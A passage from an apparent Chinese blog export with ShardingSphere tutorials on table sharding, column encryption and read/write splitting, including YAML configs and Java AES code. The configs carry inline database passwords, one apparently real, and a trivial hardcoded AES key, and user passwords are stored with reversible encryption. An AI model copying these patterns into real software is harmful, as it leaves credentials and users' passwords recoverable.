t_order_sharding: 10 # 配置 t_order 表规则 11 actual-data-nodes: write-ds.t_order_sharding_$-\u0026gt;{0..1} 12 table-strategy: #分表策略 13 standard: 14 sharding-algorithm-name: table_inline 15 sharding-column: order_id 注意这里你配置成我这样是跑不起来的，有两个原因：\n11 table_inline 不能写下划线，要写成 table-inline 22 t_order_sharding_${order_id % 2} 不能这么写，t_order_sharding_$-\u0026gt;{order_id % 2 } 最后正常的配置是：\n1# 配置分库分表 2sharding: 3 sharding-algorithms: 4 table-inline: 5 props: 6 algorithm-expression: t_order_sharding_$-\u0026gt;{order_id % 2} 7 type: INLINE 8 tables: 9 t_order_sharding: 10 # 配置 t_order 表规则 11 actual-data-nodes: write-ds.t_order_sharding_$-\u0026gt;{0..1} 12 table-strategy: #分表策略 13 standard: 14 sharding-algorithm-name: table-inline 15 sharding-column: order_id 通过配置可以看出来，我的策略比较简单，由于只有两个表，所以根据数据的 order_id列的值与 2 取模，值只有可能是 0 和 1，正好那就我的两个表的后缀名。\n如果你要分更多的表，或者有其他自定义的分表策略和算法，可以参考官方文档进行设置。\n接下来我们编写好应用端的程序，用接口请求新增一些数据，看是否按照我们的规则进入到不同的表中了。新增时我们先自行模拟 user_id , order_id 我们用一个本地的工具类利用 Snowflake 生成。\n当然也可以借助 ShardingSphere 的配置帮我们自动生成：\n1# 配置分库分表 2sharding: 3 key-generators: 4 snowflake: 5 type: SNOWFLAKE 6 props: 7 worker: 8 id: 123 9 sharding-algorithms: 10 table-inline: 11 props: 12 algorithm-expression: t_order_sharding_$-\u0026gt;{order_id % 2 } 13 type: INLINE 14 tables: 15 t_order_sharding: 16 # 配置 t_order 表规则 17 actual-data-nodes: write-ds.t_order_sharding_$-\u0026gt;{0..1} 18 table-strategy: #分表策略 19 standard: 20 sharding-algorithm-name: table-inline 21 sharding-column: order_id 22 # 主建生成策略 23 key-generate-strategy: 24 key-generator-name: snowflake 25 column: order_id 关注key-generators 部分的配置\n我们用业务接口先接入后查询 4 条数据发现分别插入到了不同的表，重要的是，业务程序不需要做任何的改动，跟之前用一张表是同样的逻辑，比如用 SpringBoot+MybatisPlus 进行快速业务实现，之前怎么写还怎么写，ShardingSphere 配置好后会帮你自动做好相关的事情，不用担心。\n1{ 2 \u0026#34;code\u0026#34;: 100000, 3 \u0026#34;msg\u0026#34;: \u0026#34;\u0026#34;, 4 \u0026#34;data\u0026#34;: [ 5 { 6 \u0026#34;orderId\u0026#34;: 654340378203258881, 7 \u0026#34;userId\u0026#34;: 12, 8 \u0026#34;createTime\u0026#34;: \u0026#34;2021-10-11 15:15:03\u0026#34;, 9 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-10-11 15:15:03\u0026#34; 10 }, 11 { 12 \u0026#34;orderId\u0026#34;: 1447456383522967551, 13 \u0026#34;userId\u0026#34;: 12, 14 \u0026#34;createTime\u0026#34;: \u0026#34;2021-10-11 14:59:14\u0026#34;, 15 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-10-11 14:59:14\u0026#34; 16 }, 17 { 18 \u0026#34;orderId\u0026#34;: 1447457650144055296, 19 \u0026#34;userId\u0026#34;: 12, 20 \u0026#34;createTime\u0026#34;: \u0026#34;2021-10-11 15:02:50\u0026#34;, 21 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-10-11 15:02:50\u0026#34; 22 }, 23 { 24 \u0026#34;orderId\u0026#34;: 1447457651482038272, 25 \u0026#34;userId\u0026#34;: 12, 26 \u0026#34;createTime\u0026#34;: \u0026#34;2021-10-11 15:02:52\u0026#34;, 27 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-10-11 15:02:52\u0026#34; 28 } 29 ] 30} 根据配置将表分完，也不需要修改业务代码，原来怎么写还怎么写，很完美，不过需要注意的是你的 SQL，之前的写法是否支持需要根据官方文档查询，一般情况下普通的 SQL 都是可以的，有些比较特殊的不行，当然这些特殊的可能是开发偷懒没有合理地设计程序就只用一条 SQL 搞定，不是最合适的方式。比如一个复杂 SQL 完全可以用多条简单 SQL 再经过程序利用内存计算得出结果。\n分库分表可以和读写分离混合配置，以下为一个完整的配置：\n1spring: 2 profiles: 3 include: common-local 4 shardingsphere: 5 props: 6 sql: 7 #设置sql是否展示 8 show: true 9 check: 10 table: 11 metadata: 12 enabled: false 13 datasource: 14 names: write-ds,read-ds-0 15 write-ds: 16 jdbcUrl: jdbc:mysql://mysql.local.test.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 17 type: com.zaxxer.hikari.HikariDataSource 18 driver-class-name: com.mysql.cj.jdbc.Driver 19 username: root 20 password: nicai 21 connectionTimeoutMilliseconds: 3000 22 idleTimeoutMilliseconds: 60000 23 maxLifetimeMilliseconds: 1800000 24 maxPoolSize: 50 25 minPoolSize: 1 26 maintenanceIntervalMilliseconds: 30000 27 read-ds-0: 28 jdbcUrl: jdbc:mysql://mysql.local.test.read1.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 29 type: com.zaxxer.hikari.HikariDataSource 30 driver-class-name: com.mysql.cj.jdbc.Driver 31 username: root 32 password: nicai 33 connectionTimeoutMilliseconds: 3000 34 idleTimeoutMilliseconds: 60000 35 maxLifetimeMilliseconds: 1800000 36 maxPoolSize: 50 37 minPoolSize: 1 38 maintenanceIntervalMilliseconds: 30000 39 rules: 40 readwrite-splitting: 41 data-sources: 42 glapp: 43 write-data-source-name: write-ds 44 read-data-source-names: 45 - read-ds-0 46 load-balancer-name: roundRobin # 负载均衡算法名称 47 load-balancers: 48 roundRobin: 49 type: ROUND_ROBIN # 一共两种一种是 RANDOM(随机)，一种是 ROUND_ROBIN（轮询） 50 # 配置分库分表 51 sharding: 52 key-generators: 53 snowflake: 54 type: SNOWFLAKE 55 props: 56 worker: 57 id: 123 58 sharding-algorithms: 59 table-inline: 60 props: 61 algorithm-expression: t_order_sharding_$-\u0026gt;{order_id % 2 } 62 type: INLINE 63 tables: 64 t_order_sharding: 65 # 配置 t_order 表规则 66 actual-data-nodes: write-ds.t_order_sharding_$-\u0026gt;{0..1} 67 table-strategy: #分表策略 68 standard: 69 sharding-algorithm-name: table-inline 70 sharding-column: order_id 71 key-generate-strategy: 72 key-generator-name: snowflake 73 column: order_id 单库分表-老业务 请听下回分解\n参考 https://shardingsphere.apache.org/document/5.0.0-beta/ ","date":"2021-10-11T09:35:20Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-11-shardingsphere-fen-ku-fen-biao-di-1-pian/cover.jpg","permalink":"/p/2021-10-11-shardingsphere-fen-ku-fen-biao-di-1-pian/","title":"ShardingSphere 分库分表--第（1）篇"},{"content":"上一篇文章中说道数据加密分两种场景 ShardingSphere 实现数据加密（脱敏）第一篇\n分别是：\n新上线业务 已上线业务 这篇我们对已上线业务进行模拟实验。\n已上线业务改造 系统迁移前 建表语句和配置文件\n1CREATE TABLE `t_cipher_old` ( 2 `id` bigint(20) NOT NULL, 3 `name` varchar(255) DEFAULT NULL, 4 `create_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT \u0026#39;创建时间\u0026#39;, 5 `update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT \u0026#39;更新时间\u0026#39;, 6 `pwd` varchar(100) DEFAULT NULL, 7 `mobile` varchar(100) DEFAULT NULL, 8 PRIMARY KEY (`id`) 9) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 为了模拟已经上线的业务，我们为表中造一些测试数据，并编写业务接口实现 CURD\n然而需要在数据库表 t_user 里新增一个字段叫做 pwd_cipher，即 cipherColumn，用于存放密文数据，同时我们把 plainColumn 设置为 pwd，用于存放明文数据，而把 logicColumn 也设置为 pwd。\n1ALTER TABLE test.t_cipher_old ADD pwd_cipher varchar(100) NULL; 由于之前的代码 SQL 就是使用 pwd 进行编写，即面向逻辑列进行 SQL 编写，所以业务代码无需改动。通过 Apache ShardingSphere，针对新增的数据，会把明文写到 pwd 列，并同时把明文进行加密存储到 pwd_cipher 列。此时，由于 queryWithCipherColumn 设置为 false，对业务应用来说，依旧使用 pwd 这一明文列进行查询存储，却在底层数据库表 pwd_cipher 上额外存储了新增数据的密文数据\n配置文件如下（本文只需要关注 encrypt 节点部分）：\n1spring: 2 profiles: 3 include: common-local 4 shardingsphere: 5 datasource: 6 names: write-ds,read-ds-0 7 write-ds: 8 jdbcUrl: jdbc:mysql://mysql.local.test.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 9 type: com.zaxxer.hikari.HikariDataSource 10 driver-class-name: com.mysql.cj.jdbc.Driver 11 username: root 12 password: Qq2e66hxnNd9MdNc 13 connectionTimeoutMilliseconds: 3000 14 idleTimeoutMilliseconds: 60000 15 maxLifetimeMilliseconds: 1800000 16 maxPoolSize: 50 17 minPoolSize: 1 18 maintenanceIntervalMilliseconds: 30000 19 read-ds-0: 20 jdbcUrl: jdbc:mysql://mysql.local.test.read1.glzhapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 21 type: com.zaxxer.hikari.HikariDataSource 22 driver-class-name: com.mysql.cj.jdbc.Driver 23 username: root 24 password: Qq2e66hxnNd9MdNc 25 connectionTimeoutMilliseconds: 3000 26 idleTimeoutMilliseconds: 60000 27 maxLifetimeMilliseconds: 1800000 28 maxPoolSize: 50 29 minPoolSize: 1 30 maintenanceIntervalMilliseconds: 30000 31 rules: 32 readwrite-splitting: 33 data-sources: 34 glapp: 35 write-data-source-name: write-ds 36 read-data-source-names: 37 - read-ds-0 38 load-balancer-name: roundRobin # 负载均衡算法名称 39 load-balancers: 40 roundRobin: 41 type: ROUND_ROBIN # 一共两种一种是 RANDOM（随机），一种是 ROUND_ROBIN（轮询） 42 encrypt: 43 encryptors: 44 pwd-encryptor: 45 props: 46 aes-key-value: 123456abc 47 type: AES 48 tables: 49 t_cipher_old: 50 columns: 51 pwd: # pwd 与 pwd_cipher 的转换映射 52 plain-column: pwd # 原文列名称 53 cipher-column: pwd_cipher # 加密列名称 54 encryptor-name: pwd-encryptor # 加密算法名称（名称不能有下划线） 55 queryWithCipherColumn: false # 是否使用加密列进行查询。在有原文列的情况下，可以使用原文列进行查询 此时调用业务接口，新插入的数据就会在明文列 pwd 和加密列 pwd_cipher 同时存储数据。\n上面整个的处理流程如下图所示：\n至此，改造以后时间点进入的数据都是加密的了。\n系统迁移中 将旧的数据自行加密处理\n具体到我们这个例子来讲，需要手动将 pwd 字段未加密的值全部手动加密后将密文存储到 pwd_cipher.\n形象地说，就是将空的位置手动补齐。\n首先我们参考 ShardingSphere 的 AES 加解密码算法改造了一个工具类：\n1 2/** 3 * AES 加解密 4 * 5 * @author xiaohezi 6 * @since 2021-09-23 15:49 7 */ 8public class AesUtils { 9 10 private static byte[] createSecretKey(String aesKey) { 11 return Arrays.copyOf(DigestUtils.sha1(aesKey), 16); 12 } 13 14 /** 15 * AES 加密方法 16 * 17 * @param plaintext 加密文本 18 * @param aesKey 加密 key 19 * @return 20 * @throws NoSuchAlgorithmException 21 * @throws InvalidKeyException 22 * @throws BadPaddingException 23 * @throws NoSuchPaddingException 24 * @throws IllegalBlockSizeException 25 */ 26 public static Object encrypt(String plaintext, String aesKey) throws NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, NoSuchPaddingException, IllegalBlockSizeException { 27 try { 28 if (null == plaintext) { 29 return null; 30 } else { 31 byte[] result = getCipher(1, aesKey).doFinal(StringUtils.getBytesUtf8(plaintext)); 32 return Base64.encodeBase64String(result); 33 } 34 } catch (GeneralSecurityException var3) { 35 throw var3; 36 } 37 } 38 39 /** 40 * AES 解密方法 41 * 42 * @param ciphertext 密码 43 * @param aesKey 加密 Key 44 * @return 45 * @throws NoSuchAlgorithmException 46 * @throws InvalidKeyException 47 * @throws BadPaddingException 48 * @throws NoSuchPaddingException 49 * @throws IllegalBlockSizeException 50 */ 51 52 public static Object decrypt(String ciphertext, String aesKey) throws NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, NoSuchPaddingException, IllegalBlockSizeException { 53 try { 54 if (null == ciphertext) { 55 return null; 56 } else { 57 byte[] result = getCipher(2, aesKey).doFinal(Base64.decodeBase64(ciphertext)); 58 return new String(result, StandardCharsets.UTF_8); 59 } 60 } catch (GeneralSecurityException var3) { 61 throw var3; 62 } 63 } 64 65 private static Cipher getCipher(int decryptMode, String aesKey) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException { 66 Cipher result = Cipher.getInstance(getType()); 67 result.init(decryptMode, new SecretKeySpec(createSecretKey(aesKey), getType())); 68 return result; 69 } 70 71 public static String getType() { 72 return \u0026#34;AES\u0026#34;; 73 } 74} 然后为了简单演示，我的思路是用 java 程序将数据查出来以后直接更新，查询简单，更新的话用 mybatisplus 的 mapper 简单写了个自定义 sql 的方法\n1/** 2 * 根据 id 将密码的密文更新 3 * 4 * @param id 5 * @param pwdCipher 6 */ 7@Update(\u0026#34;update t_cipher_old set pwd_cipher =#{pwdCipher} where id = #{id}\u0026#34;) 8void updateCipher(@Param(\u0026#34;id\u0026#34;) Long id, @Param(\u0026#34;pwdCipher\u0026#34;) String pwdCipher); 下面是更新方法，注意我这里的 aesKey 和上面的配置文件是保持一致的。\n1@Override 2public void updateOldPwd() { 3 QueryWrapper\u0026lt;CipherOldDO\u0026gt; wrapper = new QueryWrapper\u0026lt;\u0026gt;(); 4 wrapper.isNull(\u0026#34;pwd_cipher\u0026#34;); 5 6 List\u0026lt;CipherOldDO\u0026gt; list = list(wrapper); 7 8 String aesKey = \u0026#34;123456abc\u0026#34;; 9 10 try { 11 for (CipherOldDO cipherOldDO : list) { 12 13 Object encrypt = AesUtils.encrypt(cipherOldDO.getPwd(), aesKey); 14 //更新密码的密文 15 getBaseMapper().updateCipher(cipherOldDO.getId(), encrypt.toString()); 16 17 } 18 } catch (NoSuchAlgorithmException e) { 19 e.printStackTrace(); 20 } catch (InvalidKeyException e) { 21 e.printStackTrace(); 22 } catch (BadPaddingException e) { 23 e.printStackTrace(); 24 } catch (NoSuchPaddingException e) { 25 e.printStackTrace(); 26 } catch (IllegalBlockSizeException e) { 27 e.printStackTrace(); 28 } 29 30} 程序执行完，加密列 pwd_cipher 就有数据了。\n由于配置项中的 queryWithCipherColumn = false，所以密文一直没有被使用过。如果我们为了让系统能切到密文数据进行查询，需要将加密配置中的 queryWithCipherColumn 设置为 true。\n虽然现在业务系统通过将密文列的数据取出，解密后返回；但是，在存储的时候仍旧会存一份原文数据到明文列，这是为什么呢？答案是：为了能够进行系统回滚。因为只要密文和明文永远同时存在，我们就可以通过开关项配置自由将业务查询切换到 cipherColumn 或 plainColumn。也就是说，如果将系统切到密文列进行查询时，发现系统报错，需要回滚。那么只需将 queryWithCipherColumn = false，Apache ShardingSphere 将会还原，即又重新开始使用 plainColumn 进行查询。处理流程如下图所示：\n系统迁移后 业务系统一般不可能让数据库的明文列和密文列永久同步保留，我们需要在系统稳定后将明文列数据删除。\n但是删除列对于业务代码来说是不需要发动的，因为有 logicColumn 存在，用户的编写 SQL 都面向这个虚拟列，Apache ShardingSphere 就可以把这个逻辑列和底层数据表中的密文列进行映射转换。于是迁移后的加密配置即为：\n1 encrypt: 2 encryptors: 3 pwd-encryptor: 4 props: 5 aes-key-value: 123456abc 6 type: AES 7 tables: 8 t_cipher_old: 9 columns: 10 pwd: # pwd 与 pwd_cipher 的转换映射 11 cipher-column: pwd_cipher # 加密列名称 12 encryptor-name: pwd-encryptor # 加密算法名称（名称不能有下划线） 13 queryWithCipherColumn: true # 是否使用加密列进行查询。在有原文列的情况下，可以使用原文列进行查询 在数据库中直接将 pwd 列删除\n可以看到已经没有 pwd 列的，只剩下加过密的 pwd_cipher , 从数据库这里我们已经看不出密码是什么了。然后我们调用查询接口，看到数据：\n1{ 2 \u0026#34;code\u0026#34;: 100000, 3 \u0026#34;msg\u0026#34;: \u0026#34;\u0026#34;, 4 \u0026#34;data\u0026#34;: [ 5 { 6 \u0026#34;id\u0026#34;: 1, 7 \u0026#34;name\u0026#34;: \u0026#34;Tara\u0026#34;, 8 \u0026#34;pwd\u0026#34;: \u0026#34;dogT\u0026#34;, 9 \u0026#34;mobile\u0026#34;: \u0026#34;+425(864)267-129\u0026#34;, 10 \u0026#34;createTime\u0026#34;: \u0026#34;1994-12-02 18:39:01\u0026#34;, 11 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-09-23 16:45:08\u0026#34; 12 }, 13 { 14 \u0026#34;id\u0026#34;: 2, 15 \u0026#34;name\u0026#34;: \u0026#34;Earl\u0026#34;, 16 \u0026#34;pwd\u0026#34;: \u0026#34;ju\u0026#34;, 17 \u0026#34;mobile\u0026#34;: \u0026#34;+17(252)465-481\u0026#34;, 18 \u0026#34;createTime\u0026#34;: \u0026#34;2016-10-05 15:15:43\u0026#34;, 19 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-09-23 16:45:08\u0026#34; 20 }, 21 { 22 \u0026#34;id\u0026#34;: 3, 23 \u0026#34;name\u0026#34;: \u0026#34;Roberta\u0026#34;, 24 \u0026#34;pwd\u0026#34;: \u0026#34;fo\u0026#34;, 25 \u0026#34;mobile\u0026#34;: \u0026#34;+44(296)354-787\u0026#34;, 26 \u0026#34;createTime\u0026#34;: \u0026#34;2008-10-09 17:21:36\u0026#34;, 27 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-09-23 16:45:08\u0026#34; 28 }, 29 { 30 \u0026#34;id\u0026#34;: 4, 31 \u0026#34;name\u0026#34;: \u0026#34;Travis\u0026#34;, 32 \u0026#34;pwd\u0026#34;: \u0026#34;brow\u0026#34;, 33 \u0026#34;mobile\u0026#34;: \u0026#34;+77(975)452-214\u0026#34;, 34 \u0026#34;createTime\u0026#34;: \u0026#34;2005-02-17 07:14:24\u0026#34;, 35 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-09-23 16:45:08\u0026#34; 36 } 37 ] 38} 可以看到，数据是解密以后的样子。\n其处理流程如下：\n参考 https://shardingsphere.apache.org/document/5.0.0-beta/cn/features/encrypt/principle/ ","date":"2021-09-24T00:06:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-24-shardingsphere-shi-xian-shu-ju-jia-mi-tuo-min-di-er-pian/cover.jpg","permalink":"/p/2021-09-24-shardingsphere-shi-xian-shu-ju-jia-mi-tuo-min-di-er-pian/","title":"ShardingSphere 实现数据加密（脱敏）第二篇"},{"content":"背景 Apache ShardingSphere 通过对用户输入的 SQL 进行解析，并依据用户提供的加密规则对 SQL 进行改写，从而实现对原文数据进行加密，并将原文数据（可选）及密文数据同时存储到底层数据库。在用户查询数据时，它仅从数据库中取出密文数据，并对其解密，最终将解密后的原始数据返回给用户。Apache ShardingSphere 自动化 \u0026amp; 透明化了数据加密过程，让用户无需关注数据加密的实现细节，像使用普通数据那样使用加密数据。此外，无论是已在线业务进行加密改造，还是新上线业务使用加密功能，Apache ShardingSphere 都可以提供一套相对完善的解决方案。\n解决方案 参考官方文档分两种场景\n新上线业务 已上线业务 本文首先介绍新上线业务的新操，它相对已上线业务简单许多\n新上线业务 版本信息 SpringBoot 2 ShardingSphere 5 MySQL 8 引入依赖 1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.apache.shardingsphere\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;shardingsphere-jdbc-core-spring-boot-starter\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;5.0.0-beta\u0026lt;/version\u0026gt; 5\u0026lt;/dependency\u0026gt; 配置文件： 1spring: 2 profiles: 3 include: common-local 4 shardingsphere: 5 datasource: 6 names: write-ds,read-ds-0 7 write-ds: 8 jdbcUrl: jdbc:mysql://mysql.local.test.myallapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 9 type: com.zaxxer.hikari.HikariDataSource 10 driver-class-name: com.mysql.cj.jdbc.Driver 11 username: root 12 password: nicai 13 connectionTimeoutMilliseconds: 3000 14 idleTimeoutMilliseconds: 60000 15 maxLifetimeMilliseconds: 1800000 16 maxPoolSize: 50 17 minPoolSize: 1 18 maintenanceIntervalMilliseconds: 30000 19 read-ds-0: 20 jdbcUrl: jdbc:mysql://mysql.local.test.read1.myallapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 21 type: com.zaxxer.hikari.HikariDataSource 22 driver-class-name: com.mysql.cj.jdbc.Driver 23 username: root 24 password: nicai 25 connectionTimeoutMilliseconds: 3000 26 idleTimeoutMilliseconds: 60000 27 maxLifetimeMilliseconds: 1800000 28 maxPoolSize: 50 29 minPoolSize: 1 30 maintenanceIntervalMilliseconds: 30000 31 rules: 32 readwrite-splitting: 33 data-sources: 34 glapp: 35 write-data-source-name: write-ds 36 read-data-source-names: 37 - read-ds-0 38 load-balancer-name: roundRobin # 负载均衡算法名称 39 load-balancers: 40 roundRobin: 41 type: ROUND_ROBIN # 一共两种一种是 RANDOM（随机），一种是 ROUND_ROBIN（轮询） 42 encrypt: 43 encryptors: 44 mobile-encryptor: 45 props: 46 aes-key-value: 123456abc 47 type: AES 48 tables: 49 t_cipher_new: 50 columns: 51 mobile: 52 cipher-column: mobile # 加密列名称 53 encryptor-name: mobile-encryptor # 加密算法名称（名称不能有下划线） 54 # plain-column: mobile # 原文列名称 55 queryWithCipherColumn: true # 是否使用加密列进行查询。在有原文列的情况下，可以使用原文列进行查询 我是将读写分离和加密的配置混合在一块儿了，实际上本文只需要关注 encrypt 节点部分\n配置上有几个注意的点：\nkey 名称中间不要带下划线，比如mobile-encryptor 这个自定义的名字，之前找了半天原因，忘了规则了。 由于这部分演示的是新业务，所以将加密列和原文列用一列表示（mobile）, 而逻辑列也是这列。 建表语句： 1 2CREATE TABLE `t_cipher_new` ( 3 `id` bigint(20) NOT NULL, 4 `name` varchar(255) DEFAULT NULL, 5 `create_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT \u0026#39;创建时间\u0026#39;, 6 `update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT \u0026#39;更新时间\u0026#39;, 7 `pwd` varchar(100) DEFAULT NULL, 8 `mobile` varchar(100) DEFAULT NULL, 9 PRIMARY KEY (`id`) 10) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 测试 先通过业务接口插入一条数据：\n可以看到 mobile 字段已经自动加密了，明文是1234567密文是 FGPDcFbE1uWPwPUOeRpKbw==\n我们再通过业务接口查询一下这条数据\n1{ 2 \u0026#34;code\u0026#34;: 100000, 3 \u0026#34;msg\u0026#34;: \u0026#34;\u0026#34;, 4 \u0026#34;data\u0026#34;: { 5 \u0026#34;id\u0026#34;: 1440855970338058241, 6 \u0026#34;name\u0026#34;: \u0026#34;hello\u0026#34;, 7 \u0026#34;pwd\u0026#34;: \u0026#34;123\u0026#34;, 8 \u0026#34;mobile\u0026#34;: \u0026#34;1234567\u0026#34;, 9 \u0026#34;createTime\u0026#34;: \u0026#34;2021-09-23 09:50:09\u0026#34;, 10 \u0026#34;updateTime\u0026#34;: \u0026#34;2021-09-23 09:50:09\u0026#34; 11 } 12} 可以看到，查询出来的 mobile 字段数据是解密以后的 1234567\n参考 https://shardingsphere.apache.org/document/5.0.0-beta/cn/features/encrypt/principle/ ","date":"2021-09-23T03:45:20Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-23-shardingsphere-shi-xian-shu-ju-jia-mi-tuo-min-di-yi-pian/cover.jpg","permalink":"/p/2021-09-23-shardingsphere-shi-xian-shu-ju-jia-mi-tuo-min-di-yi-pian/","title":"ShardingSphere 实现数据加密（脱敏）第一篇"},{"content":"上一篇我们用 ShardingSphere-Proxy实现了读写分离\nShardingSphere 实战之读写分离\n这一次我们用 ShardingSphere-JDBC 来实现一下\n引入依赖 我本地用的是 springboot 2 的版本，引用的 ShardingSphere-JDBC 的5.0.0-beta 版本\n1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.apache.shardingsphere\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;shardingsphere-jdbc-core-spring-boot-starter\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;5.0.0-beta\u0026lt;/version\u0026gt; 5\u0026lt;/dependency\u0026gt; 修改配置文件 1spring: 2 profiles: 3 include: common-local 4 shardingsphere: 5 datasource: 6 names: write-ds,read-ds-0 7 write-ds: 8 jdbcUrl: jdbc:mysql://mysql.local.test.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 9 type: com.zaxxer.hikari.HikariDataSource 10 driver-class-name: com.mysql.cj.jdbc.Driver 11 username: root 12 password: nicai 13 connectionTimeoutMilliseconds: 3000 14 idleTimeoutMilliseconds: 60000 15 maxLifetimeMilliseconds: 1800000 16 maxPoolSize: 50 17 minPoolSize: 1 18 maintenanceIntervalMilliseconds: 30000 19 read-ds-0: 20 jdbcUrl: jdbc:mysql://mysql.local.test.read1.myall.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 21 type: com.zaxxer.hikari.HikariDataSource 22 driver-class-name: com.mysql.cj.jdbc.Driver 23 username: root 24 password: nicai 25 connectionTimeoutMilliseconds: 3000 26 idleTimeoutMilliseconds: 60000 27 maxLifetimeMilliseconds: 1800000 28 maxPoolSize: 50 29 minPoolSize: 1 30 maintenanceIntervalMilliseconds: 30000 31 32 rules: 33 readwrite-splitting: 34 data-sources: 35 glapp: 36 write-data-source-name: write-ds 37 read-data-source-names: 38 - read-ds-0 39 load-balancer-name: roundRobin # 负载均衡算法名称 40 load-balancers: 41 roundRobin: 42 type: ROUND_ROBIN # 一共两种一种是 RANDOM（随机），一种是 ROUND_ROBIN（轮询） 这里主要根据官网的 property 配置文件转的 yaml 文件，需要注意几点：\ntype: com.zaxxer.hikari.HikariDataSource 我用的是 Hikari 连接池，根据你的实际情况来 driver-class-name: com.mysql.cj.jdbc.Driver 不同 mysql 版本不一样，根据你的实际情况来，我的是 mysql 8.0 jdbcUrl ，官网上写的是 url, 不对，要写成 jdbcUrl 遇到的问题 1Description: 2 3Configuration property name \u0026#39;spring.shardingsphere.datasource.write_ds\u0026#39; is not valid: 4 5 Invalid characters: \u0026#39;_\u0026#39; 6 Bean: org.apache.shardingsphere.spring.boot.ShardingSphereAutoConfiguration 7 Reason: Canonical names should be kebab-case (\u0026#39;-\u0026#39; separated), lowercase alpha-numeric characters and must start with a letter 8 9Action: 10 11Modify \u0026#39;spring.shardingsphere.datasource.write_ds\u0026#39; so that it conforms to the canonical names requirements. 之前把配置文件中的某些名字配置用下划线写了，不行，得用中线。\n测试 所有的改动只有以上这么多，还是比较简单的，以下的读库请求打过来时的监控，证明读请求都过来了，写库没有。\n这是写库的：\n这是读库的：\n参考 https://shardingsphere.apache.org/document/5.0.0-beta/ ","date":"2021-09-17T11:00:14Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-17-springboot-shardingsphere-jdbc-shi-xian-du-xie-fen-li/cover.jpg","permalink":"/p/2021-09-17-springboot-shardingsphere-jdbc-shi-xian-du-xie-fen-li/","title":"SpringBoot + ShardingSphere-JDBC 实现读写分离"},{"content":"简述 采用 ShardingShpere 的 Sharding-Porxy（透明化的数据库代理端） 模式在本地实现 mysql 数据库读写分离,并通过 java 应用程序连接.\nShardingSphere 本地下载并安装 最新 5.0 的 beta 版本：https://dlcdn.apache.org/shardingsphere/5.0.0-beta/\n由于我需要连接 mysql 数据库所以，需要下载 